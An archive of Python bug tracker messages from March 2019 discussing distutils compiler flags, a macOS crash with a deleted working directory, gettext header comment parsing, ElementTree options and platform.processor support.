_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36234>
_______________________________________

From report at bugs.python.org  Fri Mar  8 05:59:51 2019
From: report at bugs.python.org (Mark Dickinson)
Date: Fri, 08 Mar 2019 10:59:51 +0000
Subject: [issue36228] Support coercion of complex to float/int
In-Reply-To: <1551990077.56.0.757483742066.issue36228@roundup.psfhosted.org>
Message-ID: <1552042791.89.0.903484942132.issue36228@roundup.psfhosted.org>


Mark Dickinson <dickinsm at gmail.com> added the comment:

> So I suggest:
> 1. Methods __floor__ and __ceil__ for complex object.

What's the use-case for these? It's not a particularly natural operation, and I've never had a need for a complex "floor" operation, either as a mathematician or as a developer. Do you have an example of real-world code that would benefit?

For those rare cases where this is needed, it isn't that hard to spell out `complex(floor(z.real), floor(z.imag))`, or to write a custom `complex_floor` function.

Also, what type should `math.floor` return when applied to a complex number? `math.floor` of a `float` object returns an `int`, so the analogous operation on a complex number should return a Gaussian integer. But we don't have a Gaussian integer type in standard Python, and it wouldn't be appropriate to add one.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36228>
_______________________________________

From report at bugs.python.org  Fri Mar  8 06:05:09 2019
From: report at bugs.python.org (Windson Yang)
Date: Fri, 08 Mar 2019 11:05:09 +0000
Subject: [issue36230] Please sort assertSetEqual's output
In-Reply-To: <1551996028.77.0.0944355403743.issue36230@roundup.psfhosted.org>
Message-ID: <1552043109.57.0.970550824334.issue36230@roundup.psfhosted.org>


Windson Yang <wiwindson at outlook.com> added the comment:

My point is careful about the non-sortable object. My mistake, this should be an enhancement, not a bug.

----------
versions:  -Python 2.7, Python 3.4, Python 3.5, Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36230>
_______________________________________

From report at bugs.python.org  Fri Mar  8 06:58:18 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 08 Mar 2019 11:58:18 +0000
Subject: [issue36234] test_os: add tests for invalid uid type
In-Reply-To: <1552039946.81.0.426305889882.issue36234@roundup.psfhosted.org>
Message-ID: <1552046298.53.0.507405751653.issue36234@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
pull_requests: +12222

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36234>
_______________________________________

From report at bugs.python.org  Fri Mar  8 07:23:45 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 08 Mar 2019 12:23:45 +0000
Subject: [issue36235] distutils.sysconfig.customize_compiler() overrides
 CFLAGS var with OPT var if CFLAGS env var is set
Message-ID: <1552047825.38.0.133209322208.issue36235@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at redhat.com>:

When a C extension is built by distutils, distutils.sysconfig.customize_compiler() is used to configure compiler flags. Extract of the code:

    (cc, cxx, opt, cflags, ccshared, ldshared, shlib_suffix, ar, ar_flags) = \
        get_config_vars('CC', 'CXX', 'OPT', 'CFLAGS',
                        'CCSHARED', 'LDSHARED', 'SHLIB_SUFFIX', 'AR', 'ARFLAGS')

    ...
    if 'CFLAGS' in os.environ:
        cflags = opt + ' ' + os.environ['CFLAGS']
        ldshared = ldshared + ' ' + os.environ['CFLAGS']
    if 'CPPFLAGS' in os.environ:
        cpp = cpp + ' ' + os.environ['CPPFLAGS']
        cflags = cflags + ' ' + os.environ['CPPFLAGS']
        ldshared = ldshared + ' ' + os.environ['CPPFLAGS']
    ...

If the CFLAGS environment variable is set, the 'CFLAGS' configuration variable is overriden with the 'OPT' configuration variable: cflags = opt + ...

This bug has been fixed since 2013 in Fedora and RHEL by this patch:
https://src.fedoraproject.org/rpms/python2/blob/master/f/00168-distutils-cflags.patch

RHEL bug report:
https://bugzilla.redhat.com/show_bug.cgi?id=849994

I converted that patch to a pull request.

----------
components: Build
messages: 337468
nosy: vstinner
priority: normal
severity: normal
status: open
title: distutils.sysconfig.customize_compiler() overrides CFLAGS var with OPT var if CFLAGS env var is set
versions: Python 2.7, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36235>
_______________________________________

From report at bugs.python.org  Fri Mar  8 07:32:47 2019
From: report at bugs.python.org (=?utf-8?b?TMOhc3psw7MgS2lzcyBLb2xsw6Fy?=)
Date: Fri, 08 Mar 2019 12:32:47 +0000
Subject: [issue36236] Python crash on macOS when CWD is invalid
Message-ID: <1552048367.13.0.453050382053.issue36236@roundup.psfhosted.org>


New submission from L?szl? Kiss Koll?r <kiss.kollar.laszlo at gmail.com>:

CPython crashes with "pymain_compute_path0: memory allocation failed" when attempting to execute it with a library module from a previously deleted directory.

To reproduce:

cd ~/tmp/python_crash

rm -rf ~/tmp/python_crash

python3.7 -m pdb
Fatal Python error: pymain_compute_path0: memory allocation failed
ValueError: character U+ef3a8fe0 is not in range [U+0000; U+10ffff]

Current thread 0x000000011060e5c0 (most recent call first):

----------
components: macOS
messages: 337469
nosy: lkollar, ned.deily, ronaldoussoren
priority: normal
severity: normal
status: open
title: Python crash on macOS when CWD is invalid
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36236>
_______________________________________

From report at bugs.python.org  Fri Mar  8 07:34:54 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 08 Mar 2019 12:34:54 +0000
Subject: [issue36235] distutils.sysconfig.customize_compiler() overrides
 CFLAGS var with OPT var if CFLAGS env var is set
In-Reply-To: <1552047825.38.0.133209322208.issue36235@roundup.psfhosted.org>
Message-ID: <1552048494.78.0.714968757914.issue36235@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
keywords: +patch
pull_requests: +12223
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36235>
_______________________________________

From report at bugs.python.org  Fri Mar  8 07:38:17 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Fri, 08 Mar 2019 12:38:17 +0000
Subject: [issue36236] Python crash on macOS when CWD is invalid
In-Reply-To: <1552048367.13.0.453050382053.issue36236@roundup.psfhosted.org>
Message-ID: <1552048697.72.0.732545146298.issue36236@roundup.psfhosted.org>


Pablo Galindo Salgado <pablogsal at gmail.com> added the comment:

This is happening because _Py_wgetcwd returns NULL (although the underliying getcwd system call populates the `fullpath` variable correctly) but its caller, _PyPathConfig_ComputeArgv0, does not check the return value:

            _Py_wgetcwd(fullpath, Py_ARRAY_LENGTH(fullpath));
             argv0 = fullpath;

 and its caller, pymain_run_python, interprets a failure in _PyPathConfig_ComputeArgv0 as a memory problem:

         PyObject *path0 = _PyPathConfig_ComputeArgv0(config->argc,
                                                      config->argv);
         if (path0 == NULL) {
             err = _Py_INIT_NO_MEMORY();
             goto done;
         }

----------
nosy: +pablogsal

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36236>
_______________________________________

From report at bugs.python.org  Fri Mar  8 07:38:31 2019
From: report at bugs.python.org (jt)
Date: Fri, 08 Mar 2019 12:38:31 +0000
Subject: [issue36237] data_files / Install Additional Files written unclearly
 such that it's not obvious what parameter is what
Message-ID: <1552048711.94.0.561477211584.issue36237@roundup.psfhosted.org>


New submission from jt <jonas at thiem.email>:

I find the following doc section found at https://docs.python.org/3.7/distutils/setupscript.html#installing-additional-files about data_files somewhat unclear:

```
setup(...,
      data_files=[('bitmaps', ['bm/b1.gif', 'bm/b2.gif']),
                  ('config', ['cfg/data.cfg']),
                  ('/etc/init.d', ['init-script'])]
     )

Each (directory, files) pair in the sequence specifies the installation directory and the files to install there.

...

The directory should be a relative path. It is interpreted relative to the installation prefix (Python?s sys.prefix for system installations; site.USER_BASE for user installations).
```

This gives me no clue what the installation actually is relative to, since e.g. sys.prefix is just `/usr` - surely I'm not supposed to specify "lib64/python3.7/site-packages/<mypackage-name>/file" as a target?

That is probably not how that text is supposed to be read and I'm sure packaging expert understand what sort of prefix is actually meant, but could this be more elaborated on, maybe an actual example for a fake package of whether this is e.g. the package folder root after the install inside the site packages, or the site packages folder itself, or ...?

----------
assignee: docs at python
components: Documentation
messages: 337471
nosy: docs at python, jt
priority: normal
severity: normal
status: open
title: data_files / Install Additional Files written unclearly such that it's not obvious what parameter is what
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36237>
_______________________________________

From report at bugs.python.org  Fri Mar  8 07:38:34 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Fri, 08 Mar 2019 12:38:34 +0000
Subject: [issue36236] Python crash on macOS when CWD is invalid
In-Reply-To: <1552048367.13.0.453050382053.issue36236@roundup.psfhosted.org>
Message-ID: <1552048714.96.0.500914194016.issue36236@roundup.psfhosted.org>


Change by Pablo Galindo Salgado <pablogsal at gmail.com>:


----------
keywords: +patch
pull_requests: +12224
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36236>
_______________________________________

From report at bugs.python.org  Fri Mar  8 07:43:19 2019
From: report at bugs.python.org (jt)
Date: Fri, 08 Mar 2019 12:43:19 +0000
Subject: [issue36238] distutils complains "package init file 'xxx/__init__.py'
 not found (or not a regular file)" when using Cythonized __init__.pyx
Message-ID: <1552048999.95.0.516949912161.issue36238@roundup.psfhosted.org>


New submission from jt <jonas at thiem.email>:

distutils spits out a warning:

package init file 'xxx/__init__.py' not found (or not a regular file)

... when using Cythonized __init__.pyx instead. However, the installed package works absolutely fine, it can be imported & used perfectly, so this warning seems bogus.

I checked, and this warning is generated inside distutils/command/build_py.py in the build_py class in method check_package(). I suggest that this warning isn't generated in case a C extension is found for the __init__ module, checked in whatever way is appropriate at this stage (e.g. by seeing if there's an __init__.pyx)

----------
components: Distutils
messages: 337472
nosy: dstufft, eric.araujo, jt
priority: normal
severity: normal
status: open
title: distutils complains "package init file 'xxx/__init__.py' not found (or not a regular file)" when using Cythonized __init__.pyx
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36238>
_______________________________________

From report at bugs.python.org  Fri Mar  8 07:52:34 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Fri, 08 Mar 2019 12:52:34 +0000
Subject: [issue36233] xml ElementTree quotation marks of xml version string
In-Reply-To: <1552039687.7.0.55265972714.issue36233@roundup.psfhosted.org>
Message-ID: <1552049554.62.0.0749795433248.issue36233@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
nosy: +eli.bendersky, scoder, serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36233>
_______________________________________

From report at bugs.python.org  Fri Mar  8 08:28:32 2019
From: report at bugs.python.org (=?utf-8?q?Bernt_R=C3=B8skar_Brenna?=)
Date: Fri, 08 Mar 2019 13:28:32 +0000
Subject: [issue36227] Add default_namespace argument to
 xml.etree.ElementTree.tostring()
In-Reply-To: <1551985034.23.0.477389977226.issue36227@roundup.psfhosted.org>
Message-ID: <1552051712.3.0.440644608036.issue36227@roundup.psfhosted.org>


Bernt R?skar Brenna <bernt.brenna at gmail.com> added the comment:

I will add xml_declaration and push to the existing PR.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36227>
_______________________________________

From report at bugs.python.org  Fri Mar  8 08:55:43 2019
From: report at bugs.python.org (jt)
Date: Fri, 08 Mar 2019 13:55:43 +0000
Subject: [issue36237] data_files / Install Additional Files written unclearly
 such that it's not obvious what parameter is what
In-Reply-To: <1552048711.94.0.561477211584.issue36237@roundup.psfhosted.org>
Message-ID: <1552053343.29.0.751870263194.issue36237@roundup.psfhosted.org>


jt <jonas at thiem.email> added the comment:

Ok I am now realizing after more tests I actually read the docs correctly, and in that sense they're not ambiguous.

It's just that I tried to use data_files for something that it's not for: I did look at package_data first and I get that's what I SHOULD be using, however I want to add in a file that isn't in the package root in the original source folder. (package is in "./src", file I want to add in is in "./") package_data seems unable to do this, so I thought data_files would get me there, but apparently not in any reasonable way.

Closing this since I was apparently just surprised it didn't do what I want, and didn't actually misread anything as I thought I had

----------
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36237>
_______________________________________

From report at bugs.python.org  Fri Mar  8 08:58:15 2019
From: report at bugs.python.org (Jason R. Coombs)
Date: Fri, 08 Mar 2019 13:58:15 +0000
Subject: [issue35967] Better platform.processor support
In-Reply-To: <1549895363.53.0.252912531241.issue35967@roundup.psfhosted.org>
Message-ID: <1552053495.86.0.86230786792.issue35967@roundup.psfhosted.org>


Jason R. Coombs <jaraco at jaraco.com> added the comment:

It won't be possible in general to emit what the function returned before, as `uname` is a symbolic reference to an arbitrary executable, which can vary by platform and release and local environment.

What I might be able to do is find the implementation of "uname" and see if there's a way to get the value from the same source. I did find what I believe is the [canonical source](https://github.com/coreutils/coreutils/blob/66e2daa689fefec9ed201a04696b9f52d049d89a/src/uname.c#L301-L343).

I'll explore if those calls can be translated to Python.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35967>
_______________________________________

From report at bugs.python.org  Fri Mar  8 08:58:19 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 08 Mar 2019 13:58:19 +0000
Subject: [issue36239] gettext: GNUTranslations doesn't parse properly comments
 in description
Message-ID: <1552053499.48.0.311631388539.issue36239@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at redhat.com>:

When a translation .po file contains a comment in headers, it's kept when compiled as .mo by msgfmt.

Example with test.po:
---
msgid ""
msgstr ""
"Content-Type: text/plain; charset=UTF-8\n"
"Plural-Forms:  nplurals=2; plural=(n != 1);\n"
"#-#-#-#-#  plo.po (PACKAGE VERSION)  #-#-#-#-#\n"
---

Compile it with "msgfmt". Parse the output file messages.mo using test.py script:
---
import gettext, pprint
with open("messages.mo", "rb") as fp:
    t = gettext.GNUTranslations()
    t._parse(fp)
    pprint.pprint(t._info)
---

Output on Python 3.7.2:
---
{'content-type': 'text/plain; charset=UTF-8',
 'plural-forms': 'nplurals=2; plural=(n != 1);\n'
                 '#-#-#-#-#  plo.po (PACKAGE VERSION)  #-#-#-#-#'}
---

Output of Fedora Python 2.7.15 which contains a fix:
---
{'content-type': 'text/plain; charset=UTF-8',
 'plural-forms': 'nplurals=2; plural=(n != 1);'}
---

I'm not sure that keeping the comment as part of plural forms is correct. Comments should not be ignored?

I made my test on Fedora 29: msgfmt 0.19.8.1, Python 3.7.2.

Links:

* https://bugs.python.org/issue1448060#msg27754
* https://bugs.python.org/issue1475523
* https://bugzilla.redhat.com/show_bug.cgi?id=252136

Fedora has a patch since 2007 to ignore comments:
https://src.fedoraproject.org/rpms/python2/blob/master/f/python-2.5.1-plural-fix.patch

I can easily convert the patch to a PR, maybe with a test. The question is more if the fix is correct or not.

----------
components: Library (Lib)
messages: 337476
nosy: mdk, vstinner
priority: normal
severity: normal
status: open
title: gettext: GNUTranslations doesn't parse properly comments in description
versions: Python 2.7, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36239>
_______________________________________

From report at bugs.python.org  Fri Mar  8 08:58:51 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 08 Mar 2019 13:58:51 +0000
Subject: [issue36239] gettext: GNUTranslations doesn't parse properly comments
 in description
In-Reply-To: <1552053499.48.0.311631388539.issue36239@roundup.psfhosted.org>
Message-ID: <1552053531.28.0.727534050064.issue36239@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


Added file: https://bugs.python.org/file48195/parse.py

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36239>
_______________________________________

From report at bugs.python.org  Fri Mar  8 08:58:57 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 08 Mar 2019 13:58:57 +0000
Subject: [issue36239] gettext: GNUTranslations doesn't parse properly comments
 in description
In-Reply-To: <1552053499.48.0.311631388539.issue36239@roundup.psfhosted.org>
Message-ID: <1552053537.88.0.841201789738.issue36239@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


Added file: https://bugs.python.org/file48196/comments.po

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36239>
_______________________________________

From report at bugs.python.org  Fri Mar  8 08:59:12 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 08 Mar 2019 13:59:12 +0000
Subject: [issue36239] gettext: GNUTranslations doesn't parse properly comments
 in description
In-Reply-To: <1552053499.48.0.311631388539.issue36239@roundup.psfhosted.org>
Message-ID: <1552053552.24.0.0056067520778.issue36239@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


Added file: https://bugs.python.org/file48197/messages.mo

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36239>
_______________________________________

From report at bugs.python.org  Fri Mar  8 08:59:53 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 08 Mar 2019 13:59:53 +0000
Subject: [issue36239] gettext: GNUTranslations doesn't parse properly comments
 in description
In-Reply-To: <1552053499.48.0.311631388539.issue36239@roundup.psfhosted.org>
Message-ID: <1552053593.46.0.220850935587.issue36239@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

Attached files:

* comments.po: PO file with a comment in headers
* messages.mo: comments.po compiled with msgfmt
* parse.py: Python script to parse messages.mo

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36239>
_______________________________________

From report at bugs.python.org  Fri Mar  8 09:02:12 2019
From: report at bugs.python.org (=?utf-8?q?Bernt_R=C3=B8skar_Brenna?=)
Date: Fri, 08 Mar 2019 14:02:12 +0000
Subject: [issue36227] Add default_namespace argument to
 xml.etree.ElementTree.tostring()
In-Reply-To: <1551985034.23.0.477389977226.issue36227@roundup.psfhosted.org>
Message-ID: <1552053732.75.0.737210564088.issue36227@roundup.psfhosted.org>


Bernt R?skar Brenna <bernt.brenna at gmail.com> added the comment:

I pushed changes to the PR. I also added xml_declaration and default_namespace to the tostringlist() method.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36227>
_______________________________________

From report at bugs.python.org  Fri Mar  8 09:03:48 2019
From: report at bugs.python.org (=?utf-8?q?Bernt_R=C3=B8skar_Brenna?=)
Date: Fri, 08 Mar 2019 14:03:48 +0000
Subject: [issue31256] xml.etree.ElementTree: add support for doctype in
 tostring method
In-Reply-To: <1503388868.57.0.0239596264981.issue31256@psf.upfronthosting.co.za>
Message-ID: <1552053828.29.0.0403635632999.issue31256@roundup.psfhosted.org>


Change by Bernt R?skar Brenna <bernt.brenna at gmail.com>:


----------
keywords: +patch
pull_requests: +12225
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue31256>
_______________________________________

From report at bugs.python.org  Fri Mar  8 09:05:43 2019
From: report at bugs.python.org (=?utf-8?q?Bernt_R=C3=B8skar_Brenna?=)
Date: Fri, 08 Mar 2019 14:05:43 +0000
Subject: [issue31256] xml.etree.ElementTree: add support for doctype in
 tostring method
In-Reply-To: <1503388868.57.0.0239596264981.issue31256@psf.upfronthosting.co.za>
Message-ID: <1552053943.97.0.955424836522.issue31256@roundup.psfhosted.org>


Bernt R?skar Brenna <bernt.brenna at gmail.com> added the comment:

See also: https://bugs.python.org/issue36227

PR: https://github.com/python/cpython/pull/12225

----------
nosy: +Bernt.R?skar.Brenna

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue31256>
_______________________________________

From report at bugs.python.org  Fri Mar  8 09:22:03 2019
From: report at bugs.python.org (Jason R. Coombs)
Date: Fri, 08 Mar 2019 14:22:03 +0000
Subject: [issue35967] Better platform.processor support
In-Reply-To: <1549895363.53.0.252912531241.issue35967@roundup.psfhosted.org>
Message-ID: <1552054923.03.0.579712650542.issue35967@roundup.psfhosted.org>


Jason R. Coombs <jaraco at jaraco.com> added the comment:

The first call I see in that routine is to "sysinfo", but the signature of that function doesn't match what I find in the [man pages for that function](http://man7.org/linux/man-pages/man2/sysinfo.2.html). So that function must be coming from elsewhere.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35967>
_______________________________________

From report at bugs.python.org  Fri Mar  8 09:22:08 2019
From: report at bugs.python.org (Marc-Andre Lemburg)
Date: Fri, 08 Mar 2019 14:22:08 +0000
Subject: [issue35967] Better platform.processor support
In-Reply-To: <1552053495.86.0.86230786792.issue35967@roundup.psfhosted.org>
Message-ID: <ab3e64b7-0cc1-43f1-6a88-72df93925bef@egenix.com>


Marc-Andre Lemburg <mal at egenix.com> added the comment:

Thanks. It would be good to do some before/after tests on popular
platforms, e.g. a few Linuxes, MacOS, Windows.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35967>
_______________________________________

From report at bugs.python.org  Fri Mar  8 09:28:59 2019
From: report at bugs.python.org (Robert Billing)
Date: Fri, 08 Mar 2019 14:28:59 +0000
Subject: [issue36240] Definitions of time
Message-ID: <1552055339.11.0.882485944217.issue36240@roundup.psfhosted.org>


New submission from Robert Billing <robertthebilling at googlemail.com>:

https://docs.python.org/3.7/library/time.html contains the text "UTC is Coordinated Universal Time (formerly known as Greenwich Mean Time, or GMT)". This is not strictly true. Referring to https://en.wikipedia.org/wiki/Coordinated_Universal_Time the definition of UTC is in terms of frequency standards, GMT in terms of astronomy. Hence with GMT each minute has exactly 60 seconds, but the length of the second may vary slightly to account for changes in the Earth's rotation. With UTC each second is the same length, but "leap seconds" can be inserted or removed giving 59 and 61 second minutes. The leap seconds keep the two systems in sync to less than one second.

This of course only matters for the most critical applications, but it would be worth documenting correctly.

----------
assignee: docs at python
components: Documentation
messages: 337482
nosy: Robert Billing, docs at python
priority: normal
severity: normal
status: open
title: Definitions of time
type: enhancement
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36240>
_______________________________________

From report at bugs.python.org  Fri Mar  8 09:30:24 2019
From: report at bugs.python.org (Jason R. Coombs)
Date: Fri, 08 Mar 2019 14:30:24 +0000
Subject: [issue35967] Better platform.processor support
In-Reply-To: <1549895363.53.0.252912531241.issue35967@roundup.psfhosted.org>
Message-ID: <1552055424.78.0.346072908279.issue35967@roundup.psfhosted.org>


Jason R. Coombs <jaraco at jaraco.com> added the comment:

Aha! It seems the 'sysinfo' call is for Solaris: https://docs.oracle.com/cd/E23823_01/html/816-5167/sysinfo-2.html

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35967>
_______________________________________

From report at bugs.python.org  Fri Mar  8 09:30:55 2019
From: report at bugs.python.org (Julien Palard)
Date: Fri, 08 Mar 2019 14:30:55 +0000
Subject: [issue35435] Discourage external links to old docs.
In-Reply-To: <1544164258.79.0.788709270274.issue35435@psf.upfronthosting.co.za>
Message-ID: <1552055455.48.0.364767662477.issue35435@roundup.psfhosted.org>


Julien Palard <julien+python at palard.fr> added the comment:

Let's not have duplicate issues, so I'm closing this in favor of https://github.com/python/python-docs-theme/issues/24.

Thanks Terry for noticing.

----------
resolution:  -> duplicate
stage: needs patch -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35435>
_______________________________________

From report at bugs.python.org  Fri Mar  8 09:38:56 2019
From: report at bugs.python.org (Jason R. Coombs)
Date: Fri, 08 Mar 2019 14:38:56 +0000
Subject: [issue35967] Better platform.processor support
In-Reply-To: <1549895363.53.0.252912531241.issue35967@roundup.psfhosted.org>
Message-ID: <1552055936.35.0.745487478302.issue35967@roundup.psfhosted.org>


Jason R. Coombs <jaraco at jaraco.com> added the comment:

Best I can tell, neither sysinfo nor sysctl are exposed in any way to Python, so it may not be possible to accurately load the processor information from those system calls without writing a wrapper in C. What I might try is to experiment with ctypes to see if I can prove the concept.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35967>
_______________________________________

From report at bugs.python.org  Fri Mar  8 09:43:54 2019
From: report at bugs.python.org (Julien Palard)
Date: Fri, 08 Mar 2019 14:43:54 +0000
Subject: [issue36239] gettext: GNUTranslations doesn't parse properly comments
 in description
In-Reply-To: <1552053499.48.0.311631388539.issue36239@roundup.psfhosted.org>
Message-ID: <1552056234.19.0.990908644912.issue36239@roundup.psfhosted.org>


Julien Palard <julien+python at palard.fr> added the comment:

After some research I found a few comments around comments being marked as starting by #-#-#-#-# and ending with #-#-#-#-#, not just starting with #.

In gettext-0.19.8.1 sources for example:

$ grep -r '#-#-#-#-' | head
gettext-tools/misc/po-mode.el:#-#-#-#-#  file name reference  #-#-#-#-#
gettext-tools/misc/po-mode.el:  (let* ((marker-regex "^#-#-#-#-#  \\(.*\\)  #-#-#-#-#\n")
gettext-tools/src/msgl-cat.c:                  char *id = xasprintf ("#-#-#-#-#  %s  #-#-#-#-#",

Or more precisly in `gettext-tools/tests/msgcat-10`:

# Verify msgcat of two files, when the header entries have different comments
# but the same contents. The resulting header entry is not marked fuzzy,
# because the #-#-#-#-# are only in comments and do not necessarily require
# translator attention; in other words, an msgstr which is valid in both input
# files is also valid in the result.

I'm however surprised not to find much of "#-#-#-#-#" in the source code, like if they are just looking a single # like you do here.

Not sure which one is the better, eliminating lines with a pair of #-#-#-#-# or lines starting with a #, both looks OK to me (we're only speaking about the header here, not the msgstr, so it won't have much impact).

Personally I'd go for eliminating #-#-#-#-# as this is the only case we've seen, and is the "documented" one in the GNU gettext test cases.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36239>
_______________________________________

From report at bugs.python.org  Fri Mar  8 09:55:43 2019
From: report at bugs.python.org (Jason R. Coombs)
Date: Fri, 08 Mar 2019 14:55:43 +0000
Subject: [issue35967] Better platform.processor support
In-Reply-To: <1549895363.53.0.252912531241.issue35967@roundup.psfhosted.org>
Message-ID: <1552056943.89.0.490028624191.issue35967@roundup.psfhosted.org>


Jason R. Coombs <jaraco at jaraco.com> added the comment:

Reading further, the 'sysctl' call seems to only be for BSD (https://www.freebsd.org/cgi/man.cgi?sysctl(3)). I could find the man page for sysctl for BSD but not Linux. There is a _sysctl in Linux (http://man7.org/linux/man-pages/man2/sysctl.2.html), but it's use is discouraged and it doesn't provide the necessary information.

Now I suspect that the aforementioned GNU coreutils 'uname' implementation is only for non-Linux systems, as none of the underlying system calls are relevant on Linux. I expect if one compiled that uname on Linux, 'uname -p' would emit 'unknown'.

Meaning I still don't know how to get a 'uname -p' result on Linux (without invoking uname -p).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35967>
_______________________________________

From report at bugs.python.org  Fri Mar  8 09:59:05 2019
From: report at bugs.python.org (Jason R. Coombs)
Date: Fri, 08 Mar 2019 14:59:05 +0000
Subject: [issue35967] Better platform.processor support
In-Reply-To: <1549895363.53.0.252912531241.issue35967@roundup.psfhosted.org>
Message-ID: <1552057145.29.0.736517702702.issue35967@roundup.psfhosted.org>


Jason R. Coombs <jaraco at jaraco.com> added the comment:

Hmm. But if I go to the Linux man page for uname (https://linux.die.net/man/1/uname) and follow the links to the source code, I end up at the same repository. So maybe the BSD man page is suitable for Linux. I'll work from that assumption for now.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35967>
_______________________________________

From report at bugs.python.org  Fri Mar  8 10:15:07 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 08 Mar 2019 15:15:07 +0000
Subject: [issue36233] xml ElementTree quotation marks of xml version string
In-Reply-To: <1552039687.7.0.55265972714.issue36233@roundup.psfhosted.org>
Message-ID: <1552058107.2.0.597788999675.issue36233@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

Both quotes are valid. See https://www.w3.org/TR/2008/REC-xml-20081126/#sec-prolog-dtd.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36233>
_______________________________________

From report at bugs.python.org  Fri Mar  8 10:20:04 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 08 Mar 2019 15:20:04 +0000
Subject: [issue36239] gettext: GNUTranslations doesn't parse properly comments
 in description
In-Reply-To: <1552053499.48.0.311631388539.issue36239@roundup.psfhosted.org>
Message-ID: <1552058404.91.0.630264104288.issue36239@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

I found a .po file with "#" in headers on the Internet, Sympa mailing list project:
https://www.sympa.org/distribution/sympa-6.0.10/po-wwsympa/et.po:

# #-#-#-#-#  blank_web_help_et.po (sympa)  #-#-#-#-#
# Sympa online help internationalisation.
# Copyright (C) 2007
# This file is distributed under the same license as Sympa.
# FIRST AUTHOR <david.verdin at cru.fr>, 2007.
#
# #-#-#-#-#  tmp_web_help_et.po (et)  #-#-#-#-#
# translation of et.po to 
# translation of et.po to
# #-#-#-#-#  et.po (PACKAGE VERSION)  #-#-#-#-#
# Copyright (C) 2005 Free Software Foundation, Inc.
# #-#-#-#-#  et.po (PACKAGE VERSION)  #-#-#-#-#
# #-#-#-#-#  et.po (PACKAGE VERSION)  #-#-#-#-#
# This file is distributed under the same license as the PACKAGE package.
# FIRST AUTHOR <EMAIL>, YEAR.
# Copyright (C) YEAR Free Software Foundation, Inc.
# FIRST AUTHOR <EMAIL>, YEAR.#.
# Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER.
# root <root at vykk.vil.ee>, 2005.
#
#, fuzzy
msgid ""
msgstr ""
"Project-Id-Version: et\n"
"POT-Creation-Date: 2007-11-13 14:50+0200\n"
"PO-Revision-Date: 2007-10-22 00:03+0200\n"
"Last-Translator: Alar Sing <alar.sing at etv.ee>\n"
"Language-Team: Estonian\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
